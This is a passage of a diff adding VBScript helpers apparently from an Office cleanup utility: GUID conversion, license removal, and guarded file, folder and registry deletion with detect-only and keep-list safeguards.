+        If Err = 0 Then MspTargets = Msp.SummaryInformation.Property(PID_TEMPLATE)
+    End If 'oFso.FileExists(sMspFile)
+End Function 'MspTargets
+'=======================================================================================================
+
+'Return the ProductCode {{GUID} from a .MSI package
+Function ProductCode(sMsi)
+    Const MSIUILEVELNONE = 2 'No UI
+    Dim MsiSession
+
+    On Error Resume Next
+    'Non critical routine. Don't fail on error
+    If oFso.FileExists(sMsi) Then
+        oMsi.UILevel = MSIUILEVELNONE
+        Set MsiSession = oMsi.OpenPackage(sMsi,1)
+        ProductCode = MsiSession.ProductProperty("ProductCode")
+        Set MsiSession = Nothing
+    Else
+        ProductCode = ""
+    End If 'oFso.FileExists(sMsi)
+End Function 'ProductCode
+'=======================================================================================================
+
+Function GetUpgradeCode(sGuid)
+
+    'Ensure Valid Length
+    If NOT Len(sGuid) = 38 Then Exit Function
+
+    GetUpgradeCode = "{{00" & Mid(sGuid, 4, 2) & "0000-" & Mid(sGuid, 11, 4) & "-0000-" & Mid(sGuid, 21, 1) & "000-" & Mid(sGuid, 26, 1) & "000000FF1CE}"
+
+End Function 'GetUpgradeCode
+'=======================================================================================================
+
+Function GetExpandedGuid (sGuid)
+    Dim i
+
+    'Ensure valid length
+    If NOT Len(sGuid) = 32 Then Exit Function
+
+    GetExpandedGuid = "{{" & StrReverse(Mid(sGuid,1,8)) & "-" & _
+                       StrReverse(Mid(sGuid,9,4)) & "-" & _
+                       StrReverse(Mid(sGuid,13,4))& "-"
+    For i = 17 To 20
+	    If i Mod 2 Then
+		    GetExpandedGuid = GetExpandedGuid & mid(sGuid,(i + 1),1)
+	    Else
+		    GetExpandedGuid = GetExpandedGuid & mid(sGuid,(i - 1),1)
+	    End If
+    Next
+    GetExpandedGuid = GetExpandedGuid & "-"
+    For i = 21 To 32
+	    If i Mod 2 Then
+		    GetExpandedGuid = GetExpandedGuid & mid(sGuid,(i + 1),1)
+	    Else
+		    GetExpandedGuid = GetExpandedGuid & mid(sGuid,(i - 1),1)
+	    End If
+    Next
+    GetExpandedGuid = GetExpandedGuid & "}"
+End Function
+'=======================================================================================================
+
+'Converts a GUID into the compressed format
+Function GetCompressedGuid (sGuid)
+    Dim sCompGUID
+    Dim i
+
+    'Ensure Valid Length
+    If NOT Len(sGuid) = 38 Then Exit Function
+
+    sCompGUID = StrReverse(Mid(sGuid,2,8))  & _
+                StrReverse(Mid(sGuid,11,4)) & _
+                StrReverse(Mid(sGuid,16,4))
+    For i = 21 To 24
+	    If i Mod 2 Then
+		    sCompGUID = sCompGUID & Mid(sGuid, (i + 1), 1)
+	    Else
+		    sCompGUID = sCompGUID & Mid(sGuid, (i - 1), 1)
+	    End If
+    Next
+    For i = 26 To 37
+	    If i Mod 2 Then
+		    sCompGUID = sCompGUID & Mid(sGuid, (i - 1), 1)
+	    Else
+		    sCompGUID = sCompGUID & Mid(sGuid, (i + 1), 1)
+	    End If
+    Next
+    GetCompressedGuid = sCompGUID
+End Function
+'=======================================================================================================
+
+'Unsquish GUID
+Function GetDecodedGuid(sEncGuid, sGuid)
+
+Dim sDecode, sTable, sHex, iChr
+Dim arrTable
+Dim i, iAsc, pow85, decChar
+Dim lTotal
+Dim fFailed
+
+    fFailed = False
+
+    sTable =    "0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff," & _
+                "0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff," & _
+                "0xff,0x00,0xff,0xff,0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08,0x09,0x0a,0x0b,0xff," & _
+                "0x0c,0x0d,0x0e,0x0f,0x10,0x11,0x12,0x13,0x14,0x15,0xff,0xff,0xff,0x16,0xff,0x17," & _
+                "0x18,0x19,0x1a,0x1b,0x1c,0x1d,0x1e,0x1f,0x20,0x21,0x22,0x23,0x24,0x25,0x26,0x27," & _
+                "0x28,0x29,0x2a,0x2b,0x2c,0x2d,0x2e,0x2f,0x30,0x31,0x32,0x33,0xff,0x34,0x35,0x36," & _
+                "0x37,0x38,0x39,0x3a,0x3b,0x3c,0x3d,0x3e,0x3f,0x40,0x41,0x42,0x43,0x44,0x45,0x46," & _
+                "0x47,0x48,0x49,0x4a,0x4b,0x4c,0x4d,0x4e,0x4f,0x50,0x51,0x52,0xff,0x53,0x54,0xff"
+    arrTable = Split(sTable,",")
+    lTotal = 0 : pow85 = 1
+    For i = 0 To 19
+        fFailed = True
+        If i Mod 5 = 0 Then
+            lTotal = 0 : pow85 = 1
+        End If ' i Mod 5 = 0
+        iAsc = Asc(Mid(sEncGuid,i+1,1))
+        sHex = arrTable(iAsc)
+        If iAsc >=128 Then Exit For
+        If sHex = "0xff" Then Exit For
+        iChr = CInt("&h"&Right(sHex,2))
+        lTotal = lTotal + (iChr * pow85)
+        If i Mod 5 = 4 Then sDecode = sDecode & DecToHex(lTotal)
+        pow85 = pow85 * 85
+        fFailed = False
+    Next 'i
+    If NOT fFailed Then sGuid = "{{"&Mid(sDecode,1,8)&"-"& _
+                                Mid(sDecode,13,4)&"-"& _
+                                Mid(sDecode,9,4)&"-"& _
+                                Mid(sDecode,23,2) & Mid(sDecode,21,2)&"-"& _
+                                Mid(sDecode,19,2) & Mid(sDecode,17,2) & Mid(sDecode,31,2) & Mid(sDecode,29,2) & Mid(sDecode,27,2) & Mid(sDecode,25,2) &"}"
+
+    GetDecodedGuid = NOT fFailed
+
+End Function 'GetDecodedGuid
+'=======================================================================================================
+
+'Convert a long decimal to hex
+Function DecToHex(lDec)
+
+    Dim sHex
+    Dim iLen
+    Dim lVal, lExp
+    Dim arrChr
+
+    arrChr = Array("0","1","2","3","4","5","6","7","8","9","A","B","C","D","E","F")
+    sHex = ""
+    lVal = lDec
+    lExp = 16^10
+    While lExp >= 1
+        If lVal >= lExp Then
+            sHex = sHex & arrChr(Int(lVal / lExp))
+            lVal = lVal - lExp * Int(lVal / lExp)
+        Else
+            sHex = sHex & "0"
+            If sHex = "0" Then sHex = ""
+        End If
+        lExp = lExp / 16
+    Wend
+
+    iLen = 8 - Len(sHex)
+    If iLen > 0 Then sHex = String(iLen,"0") & sHex
+    DecToHex = sHex
+End Function
+'=======================================================================================================
+
+'Ensures that only valid metadata entries exist to avoid API failures
+Sub EnsureValidWIMetadata (hDefKey,sKey,iValidLength)
+
+Dim arrKeys
+Dim SubKey
+
+If Len(sKey) > 1 Then
+    If Right(sKey,1) = "\" Then sKey = Left(sKey,Len(sKey)-1)
+End If
+
+If RegEnumKey(hDefKey,sKey,arrKeys) Then
+    For Each SubKey in arrKeys
+        If NOT Len(SubKey) = iValidLength Then
+            RegDeleteKey hDefKey,sKey & "\" & SubKey & "\"
+        End If
+    Next 'SubKey
+End If
+
+End Sub 'EnsureValidWIMetadata
+'=======================================================================================================
+
+'-------------------------------------------------------------------------------
+'   CleanOSPP
+'
+'   Clean out licenses from the Office Software Protection Platform
+'-------------------------------------------------------------------------------
+Sub CleanOSPP
+    Dim oProductInstances, pi
+    Dim sCleanOSPP, sCmd, sRetVal
+
+    CONST OfficeAppId = "0ff1ce15-a989-479d-af46-f275c6370663"  'Office 2013
+
+    sCleanOSPP = "x64\CleanOSPP.exe"
+    If Not f64 Then sCleanOSPP = "x86\CleanOSPP.exe"
+    If oFso.FileExists(sScriptDir & sCleanOSPP) Then
+        sCmd = sScriptDir & sCleanOSPP
+        Log "   Running: " & sCmd
+        On Error Resume Next
+        sRetVal = oWShell.Run(sCmd, 0, True)
+        Log "   Return value: " & sRetVal
+        On Error Goto 0
+        Exit Sub
+    End If
+
+    On Error Resume Next
+    ' Initialize the software protection platform object with a filter on Office 2013 products
+    If iVersionNT > 601 Then
+        Set oProductInstances = oWmiLocal.ExecQuery("SELECT ID, ApplicationId, PartialProductKey, Name, ProductKeyID FROM SoftwareLicensingProduct WHERE ApplicationId = '" & OfficeAppId & "' " & "AND PartialProductKey <> NULL")
+    Else
+        Set oProductInstances = oWmiLocal.ExecQuery("SELECT ID, ApplicationId, PartialProductKey, Name, ProductKeyID FROM OfficeSoftwareProtectionProduct WHERE ApplicationId = '" & OfficeAppId & "' " & "AND PartialProductKey <> NULL")
+    End If
+
+    ' Remove all licenses
+    For Each pi in oProductInstances
+        If NOT IsNull(pi) Then
+            pi.UninstallProductKey( pi.ProductKeyID)
+        End If
+    Next 'pi
+
+End Sub 'CleanOSPP
+'=======================================================================================================
+
+
+'Create a backup copy of the file in the ScrubDir then delete the file
+Sub CopyAndDeleteFile(sFile)
+    Dim File
+
+    'Error handling inlined
+    On Error Resume Next
+    If oFso.FileExists(sFile) Then
+        Set File = oFso.GetFile(sFile)
+        If Not oFso.FolderExists(sScrubDir & "\" & File.ParentFolder.Name) Then oFso.CreateFolder sScrubDir & "\" & File.ParentFolder.Name
+        If Not fDetectOnly Then
+            LogOnly " - Backing up file: " & sFile
+            oFso.CopyFile sFile,sScrubDir & "\" & File.ParentFolder.Name & "\" & File.Name,True : CheckError "CopyAndDeleteFile"
+            Set File = Nothing
+            DeleteFile(sFile)
+        Else
+            LogOnly " - Simulate CopyAndDelete file: " & sFile
+        End If
+    End If 'oFso.FileExists
+End Sub 'CopyAndDeleteFile
+'=======================================================================================================
+
+'Wrapper to delete a file
+Sub DeleteFile(sFile)
+    Dim File
+    Dim sFileName, sNewPath
+
+    On Error Resume Next
+
+    If dictionaryKeepFolder.Exists(LCase(sFile)) Then
+        If NOT fForce Then
+            LogOnly " - Disallowing the delete of still required keypath element: " & sFile
+            Exit Sub
+        Else
+            LogOnly " - Enforced delete of still required keypath element: " & sFile
+            LogOnly "   Remaining applications will need a repair!"
+        End If
+    End If
+    If f64 Then
+        If dictionaryKeepFolder.Exists(LCase(Wow64Folder(sFile))) Then
+        If NOT fForce Then
+            LogOnly " - Disallowing the delete of still required keypath element: " & sFile
+            Exit Sub
+        Else
+            LogOnly " - Enforced delete of still required keypath element: " & sFile
+            LogOnly "   Remaining applications will need a repair!"
+        End If
+        End If
+    End If
+
+    If oFso.FileExists(sFile) Then
+        LogOnly " - Delete file: " & sFile
+        If Not fDetectOnly Then oFso.DeleteFile sFile,True
+        If Err <> 0 Then
+            CheckError "DeleteFile"
+            If fForce Then
+                'Try to move the file and delete from there
+                Set File = oFso.GetFile(sFile)
+                sFileName = File.Name
+                sNewPath = sScrubDir & "\ScrubTmp"
+                Set File = Nothing
+                If Not oFso.FolderExists(sNewPath) Then oFso.CreateFolder(sNewPath)
+                'Move the file
+                LogOnly " - Move file to: " & sNewPath & "\" & sFileName
+                oFso.MoveFile sFile,sNewPath & "\" & sFileName
+                If Err <> 0 Then
+                    CheckError "DeleteFile (move)"
+                End If 'Err <> 0
+            Else
+                fRebootRequired = True
+            End If 'fForce
+        End If 'Err <> 0
+    End If 'oFso.FileExists
+End Sub 'DeleteFile
+'=======================================================================================================
+
+'64 bit aware wrapper to return the requested folder
+Function GetFolderPath(sPath)
+    GetFolderPath = True
+    If oFso.FolderExists(sPath) Then Exit Function
+    If f64 AND oFso.FolderExists(Wow64Folder(sPath)) Then
+        sPath = Wow64Folder(sPath)
+        Exit Function
+    End If
+    GetFolderPath = False
+End Function 'GetFolderPath
+'=======================================================================================================
+
+'Enumerates subfolder names of a folder and returns True if subfolders exist
+Function EnumFolderNames (sFolder, arrSubFolders)
+    Dim Folder, Subfolder
+    Dim sSubFolders
+
+    If oFso.FolderExists(sFolder) Then
+        Set Folder = oFso.GetFolder(sFolder)
+        For Each Subfolder in Folder.Subfolders
+            sSubFolders = sSubFolders & Subfolder.Name & ","
+        Next 'Subfolder
+    End If
+    If f64 AND oFso.FolderExists(Wow64Folder(sFolder)) Then
+        Set Folder = oFso.GetFolder(Wow64Folder(sFolder))
+        For Each Subfolder in Folder.Subfolders
+            sSubFolders = sSubFolders & Subfolder.Name & ","
+        Next 'Subfolder
+    End If
+    If Len(sSubFolders)>0 Then arrSubFolders = RemoveDuplicates(Split(Left(sSubFolders,Len(sSubFolders)-1),","))
+    EnumFolderNames = Len(sSubFolders)>0
+End Function 'EnumFolderNames
+'=======================================================================================================
+
+'Enumerates subfolders of a folder and returns True if subfolders exist
+Function EnumFolders (sFolder, arrSubFolders)
+    Dim Folder, Subfolder
+    Dim sSubFolders
+
+    If oFso.FolderExists(sFolder) Then
+        Set Folder = oFso.GetFolder(sFolder)
+        For Each Subfolder in Folder.Subfolders
+            sSubFolders = sSubFolders & Subfolder.Path & ","
+        Next 'Subfolder
+    End If
+    If f64 AND oFso.FolderExists(Wow64Folder(sFolder)) Then
+        Set Folder = oFso.GetFolder(Wow64Folder(sFolder))
+        For Each Subfolder in Folder.Subfolders
+            sSubFolders = sSubFolders & Subfolder.Path & ","
+        Next 'Subfolder
+    End If
+    If Len(sSubFolders)>0 Then arrSubFolders = RemoveDuplicates(Split(Left(sSubFolders,Len(sSubFolders)-1),","))
+    EnumFolders = Len(sSubFolders)>0
+End Function 'EnumFolders
+'=======================================================================================================
+
+Sub GetMseFolderStructure (Folder)
+    Dim SubFolder
+
+    For Each SubFolder in Folder.SubFolders
+        ReDim Preserve arrMseFolders(UBound(arrMseFolders)+1)
+        arrMseFolders(UBound(arrMseFolders)) = SubFolder.Path
+        GetMseFolderStructure SubFolder
+    Next 'SubFolder
+End Sub 'GetMseFolderStructure
+'=======================================================================================================
+
+'Wrapper to delete a folder
+Sub DeleteFolder(sFolder)
+    Dim Folder
+    Dim sDelFolder, sFolderName, sNewPath
+
+    'Ensure trailing "\"
+    sFolder = sFolder & "\"
+    While InStr(sFolder,"\\")>0
+        sFolder = Replace(sFolder,"\\","\")
+    Wend
+
+    If dictionaryKeepFolder.Exists(LCase(sFolder)) Then
+        If NOT fForce Then
+            LogOnly " - Disallowing the delete of still required keypath element: " & sFolder
+            Exit Sub
+        Else
+            LogOnly " - Enforced delete of still required keypath element: " & sFolder
+            LogOnly "   Remaining applications will need a repair!"
+        End If
+    End If
+    If f64 Then
+        If dictionaryKeepFolder.Exists(LCase(Wow64Folder(sFolder))) Then
+        If NOT fForce Then
+            LogOnly " - Disallowing the delete of still required keypath element: " & sFolder
+            Exit Sub
+        Else
+            LogOnly " - Enforced delete of still required keypath element: " & sFolder
+            LogOnly "   Remaining applications will need a repair!"
+        End If
+        End If
+    End If
+
+    'Strip trailing "\"
+    If Len(sFolder) > 1 Then
+        sFolder = Left(sFolder,Len(sFolder)-1)
+    End If
+
+    On Error Resume Next
+    If oFso.FolderExists(sFolder) Then
+        sDelFolder = sFolder
+    ElseIf f64 AND oFso.FolderExists(Wow64Folder(sFolder)) Then
+        sDelFolder = Wow64Folder(sFolder)
+    Else
+        Exit Sub
+    End If
+    If Not fDetectOnly Then
+        LogOnly " - Delete folder: " & sDelFolder
+        oFso.DeleteFolder sDelFolder,True
+    Else
+        LogOnly " - Simulate delete folder: " & sDelFolder
+    End If
+    If Err <> 0 Then
+        CheckError "DeleteFolder"
+        'Try to move the folder and delete from there
+        Set Folder = oFso.GetFolder(sDelFolder)
+        sFolderName = Folder.Name
+        sNewPath = sScrubDir & "\ScrubTmp"
+        Set Folder = Nothing
+        'Ensure we stay within the same drive
+        If Not oFso.FolderExists(sNewPath) Then oFso.CreateFolder(sNewPath)
+        'Move the folder
+        LogOnly " - Moving folder to: " & sNewPath & "\" & sFolderName
+        oFso.MoveFolder sFolder,sNewPath & "\" & sFolderName
+        If Err <> 0 Then
+            CheckError "DeleteFolder (move)"
+        End If 'Err <> 0
+    End If 'Err <> 0
+End Sub 'DeleteFolder
+'=======================================================================================================
+
+'Delete empty folder structures
+Sub DeleteEmptyFolders
+    Dim Folder
+    Dim sFolder
+
+    ' cosmetic' task don't fail on error
+    On Error Resume Next
+    If Not IsArray(arrDeleteFolders) Then Exit Sub
+    Log vbCrLf & "Empty Folder Cleanup"
+    For Each sFolder in arrDeleteFolders
+        If oFso.FolderExists(sFolder) Then
+            Set Folder = oFso.GetFolder(sFolder)
+            If CBool(Folder.Attributes AND 1024) Then
+                'exclude protected folder
+            Else
+                If (Folder.Subfolders.Count = 0) AND (Folder.Files.Count = 0) Then
+                    Set Folder = Nothing
+                    SmartDeleteFolder sFolder
+                End If
+            End If
+        End If
+    Next 'sFolder
+    CheckError "DeleteEmptyFolders"
+    On Error Goto 0
+End Sub 'DeleteEmptyFolders
+'=======================================================================================================
+
+'Delete indivdual empty folder structures
+Sub DeleteEmptyFolder (sFolder)
+    Dim Folder
+
+    ' cosmetic' task don't fail on error
+    On Error Resume Next
+    If oFso.FolderExists(sFolder) Then
+        Set Folder = oFso.GetFolder(sFolder)
+        If CBool(Folder.Attributes AND 1024) Then
+            'exclude protected folder
+        Else
+            If (Folder.Subfolders.Count = 0) AND (Folder.Files.Count = 0) Then
+                Set Folder = Nothing
+                SmartDeleteFolder sFolder
+            End If
+        End If
+    End If
+
+    CheckError "DeleteEmptyFolder"
+    On Error Goto 0
+End Sub 'DeleteEmptyFolder
+'=======================================================================================================
+
+'Wrapper to delete a folder and remove the empty parent folder structure
+Sub SmartDeleteFolder(sFolder)
+    If oFso.FolderExists(sFolder) Then
+        If Not fDetectOnly Then
+            LogOnly "  Request SmartDelete for folder: " & sFolder
+            SmartDeleteFolderEx sFolder
+        Else
+            LogOnly "  Simulate request SmartDelete for folder: " & sFolder
+        End If
+    End If
+    If f64 AND oFso.FolderExists(Wow64Folder(sFolder)) Then
+        If Not fDetectOnly Then
+            LogOnly "Request SmartDelete for folder: " & Wow64Folder(sFolder)
+            SmartDeleteFolderEx Wow64Folder(sFolder)
+        Else
+            LogOnly "Simulate request SmartDelete for folder: " & Wow64Folder(sFolder)
+        End If
+    End If
+End Sub 'SmartDeleteFolder
+'=======================================================================================================
+
+'Executes the folder delete operation
+Sub SmartDeleteFolderEx(sFolder)
+    Dim Folder
+
+    On Error Resume Next
+    DeleteFolder sFolder : CheckError "SmartDeleteFolderEx"
+    On Error Goto 0
+    Set Folder = oFso.GetFolder(oFso.GetParentFolderName(sFolder))
+    If (Folder.Subfolders.Count = 0) AND (Folder.Files.Count = 0) Then SmartDeleteFolderEx(Folder.Path)
+End Sub 'SmartDeleteFolderEx
+'=======================================================================================================
+
+'Adds the folder structure to the 'KeepFolder' dictionary
+Sub AddKeepFolder(sPath)
+
+    Dim Folder
+
+    'Ensure trailing "\"
+    sPath = LCase(sPath) & "\"
+    While InStr(sPath,"\\")>0
+        sPath = Replace(sPath,"\\","\")
+    Wend
+
+    If NOT dictionaryKeepFolder.Exists (sPath) Then
+        dictionaryKeepFolder.Add sPath,sPath
+    Else
+        Exit Sub
+    End If
+    sPath = LCase(oFso.GetParentFolderName(sPath)) & "\"
+    If oFso.FolderExists(sPath) Then AddKeepFolder(sPath)
+End Sub
+'=======================================================================================================
+
+'Handles additional folder-path operations on 64 bit environments
+Function Wow64Folder(sFolder)
+    If LCase(Left(sFolder,Len(sWinDir & "\System32"))) = LCase(sWinDir & "\System32") Then
+        Wow64Folder = sWinDir & "\syswow64" & Right(sFolder,Len(sFolder)-Len(sSys32Dir))
+    ElseIf LCase(Left(sFolder,Len(sProgramFiles))) = LCase(sProgramFiles) Then
+        Wow64Folder = sProgramFilesX86 & Right(sFolder,Len(sFolder)-Len(sProgramFiles))
+    Else
+        Wow64Folder = "?" 'Return invalid string to ensure the folder cannot exist
+    End If
+End Function 'Wow64Folder
+'=======================================================================================================
+
+Function HiveString(hDefKey)
+    On Error Resume Next
+    Select Case hDefKey
+        Case HKCR : HiveString = "HKEY_CLASSES_ROOT"
+        Case HKCU : HiveString = "HKEY_CURRENT_USER"
+        Case HKLM : HiveString = "HKEY_LOCAL_MACHINE"
+        Case HKU  : HiveString = "HKEY_USERS"
+        Case Else : HiveString = hDefKey
+    End Select
+End Function
+'=======================================================================================================
+
+Function RegKeyExists(hDefKey,sSubKeyName)
+    Dim arrKeys
+    RegKeyExists = False
+    If oReg.EnumKey(hDefKey,sSubKeyName,arrKeys) = 0 Then RegKeyExists = True
+End Function
+'=======================================================================================================
+
+Function RegValExists(hDefKey,sSubKeyName,sName)
+    Dim arrValueTypes, arrValueNames
+    Dim i
+
+    RegValExists = False
+    If Not RegKeyExists(hDefKey,sSubKeyName) Then Exit Function
+    If sName = "" Then
+        RegValExists = True
+        Exit Function
+    End If
+    If oReg.EnumValues(hDefKey,sSubKeyName,arrValueNames,arrValueTypes) = 0 AND IsArray(arrValueNames) Then
+        For i = 0 To UBound(arrValueNames)
+            If LCase(arrValueNames(i)) = Trim(LCase(sName)) Then RegValExists = True
+        Next
+    End If 'oReg.EnumValues
+End Function
+'=======================================================================================================
+
+'Read the value of a given registry entry
+Function RegReadValue(hDefKey, sSubKeyName, sName, sValue, sType)
+    Dim RetVal
+    Dim Item
+    Dim arrValues
+
+    Select Case UCase(sType)
+        Case "1","REG_SZ"
+            RetVal = oReg.GetStringValue(hDefKey,sSubKeyName,sName,sValue)
+            If Not RetVal = 0 AND f64 Then RetVal = oReg.GetStringValue(hDefKey,Wow64Key(hDefKey, sSubKeyName),sName,sValue)
+
+        Case "2","REG_EXPAND_SZ"
+            RetVal = oReg.GetExpandedStringValue(hDefKey,sSubKeyName,sName,sValue)
+            If Not RetVal = 0 AND f64 Then RetVal = oReg.GetExpandedStringValue(hDefKey,Wow64Key(hDefKey, sSubKeyName),sName,sValue)
+
+        Case "7","REG_MULTI_SZ"
+            RetVal = oReg.GetMultiStringValue(hDefKey,sSubKeyName,sName,arrValues)
+            If Not RetVal = 0 AND f64 Then RetVal = oReg.GetMultiStringValue(hDefKey,Wow64Key(hDefKey, sSubKeyName),sName,arrValues)
+            If RetVal = 0 Then sValue = Join(arrValues,chr(34))
+
+        Case "4","REG_DWORD"
+            RetVal = oReg.GetDWORDValue(hDefKey,sSubKeyName,sName,sValue)
+            If Not RetVal = 0 AND f64 Then
+                RetVal = oReg.GetDWORDValue(hDefKey,Wow64Key(hDefKey, sSubKeyName),sName,sValue)
+            End If
+
+        Case "3","REG_BINARY"
+            RetVal = oReg.GetBinaryValue(hDefKey,sSubKeyName,sName,sValue)
+            If Not RetVal = 0 AND f64 Then RetVal = oReg.GetBinaryValue(hDefKey,Wow64Key(hDefKey, sSubKeyName),sName,sValue)
+
+        Case "11","REG_QWORD"
+            RetVal = oReg.GetQWORDValue(hDefKey,sSubKeyName,sName,sValue)
+            If Not RetVal = 0 AND f64 Then RetVal = oReg.GetQWORDValue(hDefKey,Wow64Key(hDefKey, sSubKeyName),sName,sValue)
+
+        Case Else
+            RetVal = -1
+    End Select 'sValue
+
+    RegReadValue = (RetVal = 0)
+End Function 'RegReadValue
+'=======================================================================================================
+
+'Enumerate a registry key to return all values
+Function RegEnumValues(hDefKey,sSubKeyName,arrNames, arrTypes)
+    Dim RetVal, RetVal64
+    Dim arrNames32, arrNames64, arrTypes32, arrTypes64
+
+    If f64 Then
+        RetVal = oReg.EnumValues(hDefKey,sSubKeyName,arrNames32,arrTypes32)
+        RetVal64 = oReg.EnumValues(hDefKey,Wow64Key(hDefKey, sSubKeyName),arrNames64,arrTypes64)
+        If (RetVal = 0) AND (Not RetVal64 = 0) AND IsArray(arrNames32) AND IsArray(arrTypes32) Then
+            arrNames = arrNames32
+            arrTypes = arrTypes32
+        End If
+        If (Not RetVal = 0) AND (RetVal64 = 0) AND IsArray(arrNames64) AND IsArray(arrTypes64) Then
+            arrNames = arrNames64
+            arrTypes = arrTypes64
+        End If
+        If (RetVal = 0) AND (RetVal64 = 0) AND IsArray(arrNames32) AND IsArray(arrNames64) AND IsArray(arrTypes32) AND IsArray(arrTypes64) Then
+            arrNames = RemoveDuplicates(Split((Join(arrNames32,"\") & "\" & Join(arrNames64,"\")),"\"))
+            arrTypes = RemoveDuplicates(Split((Join(arrTypes32,"\") & "\" & Join(arrTypes64,"\")),"\"))
+        End If
+    Else
+        RetVal = oReg.EnumValues(hDefKey,sSubKeyName,arrNames,arrTypes)
+    End If 'f64
+    RegEnumValues = ((RetVal = 0) OR (RetVal64 = 0)) AND IsArray(arrNames) AND IsArray(arrTypes)
+End Function 'RegEnumValues
+'=======================================================================================================
+
+'Enumerate a registry key to return all subkeys
+Function RegEnumKey(hDefKey,sSubKeyName,arrKeys)
+    Dim RetVal, RetVal64
+    Dim arrKeys32, arrKeys64
+
+    If f64 Then
+        RetVal = oReg.EnumKey(hDefKey,sSubKeyName,arrKeys32)
+        RetVal64 = oReg.EnumKey(hDefKey,Wow64Key(hDefKey, sSubKeyName),arrKeys64)
+        If (RetVal = 0) AND (Not RetVal64 = 0) AND IsArray(arrKeys32) Then arrKeys = arrKeys32
+        If (Not RetVal = 0) AND (RetVal64 = 0) AND IsArray(arrKeys64) Then arrKeys = arrKeys64
+        If (RetVal = 0) AND (RetVal64 = 0) Then
+            If IsArray(arrKeys32) AND IsArray (arrKeys64) Then
+                arrKeys = RemoveDuplicates(Split((Join(arrKeys32,"\") & "\" & Join(arrKeys64,"\")),"\"))
+            ElseIf IsArray(arrKeys64) Then
+                arrKeys = arrKeys64
+            Else
+                arrKeys = arrKeys32
+            End If
+        End If
+    Else
+        RetVal = oReg.EnumKey(hDefKey,sSubKeyName,arrKeys)
+    End If 'f64
+    RegEnumKey = ((RetVal = 0) OR (RetVal64 = 0)) AND IsArray(arrKeys)
+End Function 'RegEnumKey
+'=======================================================================================================
+
+'Wrapper around oReg.DeleteValue to handle 64 bit
+Sub RegDeleteValue(hDefKey, sSubKeyName, sName, fRegMultiSZ)
+    Dim sWow64Key,sRealName
+    Dim iRetVal
+
+    sRealName = sName
+    If UCase(sName) = "(DEFAULT)" Then sRealName = ""
+
+    If dictionaryKeepReg.Exists(LCase(sSubKeyName & sName)) Then
+        If NOT fForce Then
+            LogOnly " - Disallowing the delete of still required keypath element: " & HiveString(hDefKey) & "\" & sSubKeyName & sName
+            Exit Sub
+        Else
+            LogOnly " - Enforced delete of still required keypath element. Remaining applications will need a repair!"
+        End If
+    End If
+    If f64 Then
+        If dictionaryKeepReg.Exists(LCase(Wow64Key(hDefKey, sSubKeyName) & sName)) Then
+            If NOT fForce Then
+                LogOnly " - Disallowing the delete of still required keypath element: " & HiveString(hDefKey) & "\" & sSubKeyName & sName
+                Exit Sub
+            Else
+                LogOnly " - Enforced delete of still required keypath element. Remaining applications will need a repair!"
+            End If
+        End If
+    End If
+
+    If RegValExists(hDefKey,sSubKeyName,sRealName) Then
+        On Error Resume Next
+        If RegReadValue(hDefKey,sSubKeyName,sName,sValue,"REG_MULTI_SZ") Then
+            LogOnly " - Disallowing unsafe delete of REG_MULTI_SZ: " & HiveString(hDefKey) & "\" & sSubKeyName & sName
+            Exit Sub
+        End If
+        If Not fDetectOnly Then
+            LogOnly " - Delete registry value: " & HiveString(hDefKey) & "\" & sSubKeyName & " -> " & sName
+            iRetVal = 0
+            iRetVal = oReg.DeleteValue(hDefKey, sSubKeyName, sRealName)
+            CheckError "RegDeleteValue"
+            If NOT (iRetVal=0) Then LogOnly "     Delete failed. Return value: "&iRetVal
+        Else
+            LogOnly " - Simulate delete registry value: " & HiveString(hDefKey) & "\" & sSubKeyName & " -> " & sName
+        End If
+        On Error Goto 0
+    End If 'RegValExists
+    If f64 Then
+        sWow64Key = Wow64Key(hDefKey, sSubKeyName)
+        If RegValExists(hDefKey,sWow64Key,sRealName) Then
+            On Error Resume Next
+            If RegReadValue(hDefKey,sSubKeyName,sName,sValue,"REG_MULTI_SZ") Then
+                LogOnly " - Disallowing unsafe delete of REG_MULTI_SZ: " & HiveString(hDefKey) & "\" & sSubKeyName & sName
+                Exit Sub
+            End If
+            If Not fDetectOnly Then
+            LogOnly " - Delete registry value: " & HiveString(hDefKey) & "\" & sWow64Key & " -> " & sName
+                iRetVal = 0
+                iRetVal = oReg.DeleteValue(hDefKey, sWow64Key, sRealName)
+                CheckError "RegDeleteValue"
+                If NOT (iRetVal=0) Then LogOnly "     Delete failed. Return value: "&iRetVal
+            Else
+                LogOnly " - Simulate delete registry value: " & HiveString(hDefKey) & "\" & sWow64Key & " -> " & sName
+            End If
+            On Error Goto 0
+        End If 'RegKeyExists
+    End If
+End Sub 'RegDeleteValue
+'=======================================================================================================
+
+'Wrappper around RegDeleteKeyEx to handle 64bit scenrios
+Sub RegDeleteKey(hDefKey, sSubKeyName)
+    Dim sWow64Key
+
+    'Ensure trailing "\"
+    sSubKeyName = sSubKeyName & "\"
+    While InStr(sSubKeyName,"\\")>0
+        sSubKeyName = Replace(sSubKeyName,"\\","\")
+    Wend
+
+    If dictionaryKeepReg.Exists(LCase(sSubKeyName)) Then
+        If NOT fForce Then
+            LogOnly " - Disallowing the delete of still required keypath element: " & HiveString(hDefKey) & "\" & sSubKeyName
+            Exit Sub
+        Else
+            LogOnly " - Enforced delete of still required keypath element. Remaining applications will need a repair!"
+        End If
+    End If
+    If f64 Then
+        If dictionaryKeepReg.Exists(LCase(Wow64Key(hDefKey, sSubKeyName))) Then
+            If NOT fForce Then
+                LogOnly " - Disallowing the delete of still required keypath element: " & HiveString(hDefKey) & "\" & sSubKeyName
+                Exit Sub
+            Else
+                LogOnly " - Enforced delete of still required keypath element. Remaining applications will need a repair!"
+            End If
+        End If
+    End If
+
+    If Len(sSubKeyName) > 1 Then
+        'Strip of trailing "\"
+        sSubKeyName = Left(sSubKeyName,Len(sSubKeyName)-1)
+    End If
+
+    If RegKeyExists(hDefKey, sSubKeyName) Then
+        If Not fDetectOnly Then
+            LogOnly " - Delete registry key: " & HiveString(hDefKey) & "\" & sSubKeyName
+            On Error Resume Next
+            RegDeleteKeyEx hDefKey, sSubKeyName
+            On Error Goto 0
+        Else
+            LogOnly " - Simulate delete registry key: " & HiveString(hDefKey) & "\" & sSubKeyName
+        End If
+    End If 'RegKeyExists
+    If f64 Then
